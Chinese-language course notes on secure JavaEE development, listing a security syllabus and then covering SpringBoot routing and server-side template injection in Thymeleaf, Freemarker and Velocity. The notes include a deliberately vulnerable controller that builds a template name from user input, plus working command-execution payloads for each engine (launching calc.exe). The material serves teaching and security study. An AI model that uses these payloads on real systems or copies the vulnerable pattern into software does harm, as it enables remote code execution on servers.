Web开发-JavaEE应用&SpringBoot栈&模版注入&Thymeleaf&Freemarker&Velocity



#知识点：  
1、安全开发-原生PHP-超级全局变量  
2、安全开发-原生PHP-代码审计案例  
---------------------------------------------  
0、安全开发-原生PHP-数据库通讯  
1、安全开发-原生PHP-身份验证技术  
2、安全开发-Cookie&Session&Token  
3、安全开发-原生PHP-代码审计案例  
---------------------------------------------  
1、安全开发-原生PHP-弱类型脆弱  
2、安全开发-原生PHP-函数&数据类型  
3、安全开发-原生PHP-代码审计案例  
---------------------------------------------  
1、安全开发-原生PHP-开发组件集合  
2、安全开发-原生PHP-模版引擎渲染  
3、安全开发-原生PHP-第三方编辑器  
---------------------------------------------  
1、安全开发-框架技术-ThinkPHP  
2、安全开发-框架安全-版本&写法  
3、安全开发-ThinkPHP-代码审计案例  
---------------------------------------------  
1、安全开发-原生PHP-文件安全操作  
2、安全开发-原生PHP-上传读取删除包含等  
3、安全开发-原生PHP-代码审计文件安全---------------------------------------------  
1、安全开发-原生PHP-RCE安全  
2、安全开发-原生PHP-代码执行&命令注入  
3、安全开发-原生PHP-代码审计案例  
---------------------------------------------  
1、安全开发-原生PHP-PHP.INI安全  
2、安全开发-原生PHP-全局文件&单函数  
3、安全开发-原生PHP-流量检测&AI算法  
---------------------------------------------  
1、安全开发-原生JS-语法模型概念  
2、安全开发-Ajax技术-JQuery&Axios  
3、安全开发-Ajax应用-文件上传&用户登录---------------------------------------------  
1、安全开发-原生JS-DOM树&BOM对象  
2、安全开发-原生JS-DOM安全&安全案例  
---------------------------------------------  
1、安全开发-原生JS-数据加密&代码混淆  
2、安全开发-原生JS-数据解密安全案例  
---------------------------------------------  
1、安全开发-NodeJS-开发环境&功能实现  
2、安全开发-NodeJS-安全漏洞&案例分析  
3、安全开发-NodeJS-特有漏洞&代码审计  
---------------------------------------------  
1、安全开发-WebPack-构建打包器  
2、安全开发-WebPack-源码泄漏还原  
---------------------------------------------  
1、安全开发-微信小程序-搭建&开发&架构&安全  
2、安全开发-微信小程序-编译调试&反编译&泄露  
---------------------------------------------  
1、安全开发-JavaEE-Servlet技术  
2、安全开发-JavaEE-监听器&过滤器  
---------------------------------------------  
0、安全开发-JavaEE-构建工具-Maven  
1、安全开发-JavaEE-ORM框架-JDBC  
2、安全开发-JavaEE-ORM框架-Mybatis  
3、安全开发-JavaEE-ORM框架-Hibernate  
4、安全开发-JavaEE-ORM框架-SQL注入&预编译  
---------------------------------------------  
1、安全开发-JavaEE-类加载器&反射机制&链安全  
2、安全开发-JavaEE-成员变量&成员方法&构造方法  
---------------------------------------------  
1、安全开发-JavaEE-动态代理&序列化&反序列化  
2、安全开发-JavaEE-readObject&toString方法---------------------------------------------  
1、安全开发-JavaEE-原生序列化-URLDNS链分析  
2、安全开发-JavaEE-FastJson-JdbcRowSetImpl链分析  
---------------------------------------------  
1、安全开发-JavaEE-JNDI注入-LADP&RMI&DNS等  
2、安全开发-JavaEE-JNDI注入-项目工具&手工原理等  
---------------------------------------------  
1、安全开发-JavaEE-第三方依赖开发安全  
2、安全开发-JavaEE-数据转换&FastJson&XStream  
3、安全开发-JavaEE-Shiro身份验证&Log4j日志处理  
---------------------------------------------  
1、安全开发-JavaEE-开发框架-SpringBoot&路由&传参  
2、安全开发-JavaEE-模版引擎-Thymeleaf&Freemarker&Velocity  
   
#章节点：(待补充)  
#具体点：(待补充)

演示案例：

* WEB开发-JavaEE-Servlet&路由&生命周期
* WEB开发-JavaEE-过滤器Filter&监听器Listen
* WEB开发-JavaEE-Maven&JDBC&Mybatis&Hibernate
* WEB开发-JavaEE-ORM框架-SQL注入&预编译
* WEB开发-JavaEE-类加载器&反射机制&安全问题
* WEB开发-JavaEE-成员变量&构造方法&成员方法
* WEB开发-JavaEE-动态代理&序列化&反序列化
* WEB开发-JavaEE-利用链&危险方法&重写方法
* WEB开发-JavaEE-原生反序列化&URLDNS链
* WEB开发-JavaEE-FastJson反序列化&JDBC链
* WEB开发-JavaEE-JNDI注入&LDAP&RMI服务
* WEB开发-JavaEE-第三方依赖-FastJson&XStream
* WEB开发-JavaEE-第三方依赖-Shrio验证&Log4j日志
* WEB开发-JavaEE-开发框架-SpringBoot&路由&传参
* WEB开发-JavaEE-模版引擎-Thymeleaf&Freemarker&Velocity

#开发框架-SpringBoot  
参考：https://springdoc.cn/spring-boot/  
1、路由映射  
@RequestMapping @GetMapping等  
2、参数传递  
@RequestParam  
3、数据响应  
@RestController @Controller  
@RestController注解相当于@ResponseBody＋@Controller合作用。  
   
#模版引擎  
#Thymeleaf  
参考：https://xz.aliyun.com/news/9962  
1、新建SpringBoot项目包含Web,Thymeleaf  
2、配置application.properties修改缓存  
3、创建模版目录和文件，文件定义修改变量  
4、新建Controller目录及文件，指定路由配置  
5、更换SpringBoot及Thymeleaf版本测试POC  
@Controller  
public class IndexController {  
 @RequestMapping("/index")  
 public String index(Model model) {  
 //替换模版html文件中的data变量值  
 model.addAttribute("data", "你好 小迪");  
 //使用index模版文件  
 return "index";  
 }  
   
 @RequestMapping("/indexs")  
 public String index(Model model,@RequestParam String lang) {  
 //替换模版html文件中的data变量值  
 model.addAttribute("data", "Hello xiaodi");  
 //使用index+变量lang模版文件  
 return "index-"+lang;  
 }  
}  
利用条件：Thymeleaf漏洞版本，可控模版变量  
Poc：\_\_$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d\_\_::.x  
   
#Freemarker  
参考：https://mp.weixin.qq.com/s/TtNxfSYsB4HMEpW\_OBniew  
1、新建SpringBoot项目包含Web,Freemarker  
2、配置application.properties修改缓存  
3、创建模版目录和文件，文件定义修改变量  
4、新建Controller目录及文件，指定路由配置  
5、更换SpringBoot及Freemarker版本测试POC  
   
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}  
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}  
<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}<@value>import os;os.system("calc.exe")</@value>//@value为自定义标签  
利用条件：可控渲染的模版文件  
   
#Velocity  
参考：https://blog.csdn.net/2401\_83799022/article/details/141600988  
<dependency>  
 <groupId>org.apache.velocity</groupId>  
 <artifactId>velocity</artifactId>  
 <version>1.7</version>  
</dependency>  
1、Velocity.evaluate  
2、template.merge(ctx, out)  
Poc：%23set($e%3D"e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")  
利用条件：Velocity漏洞版本，可控模版变量或文件

涉及资源：[资源下载地址](https://docs.qq.com/doc/DQ3Z6RkNpaUtMcEFr)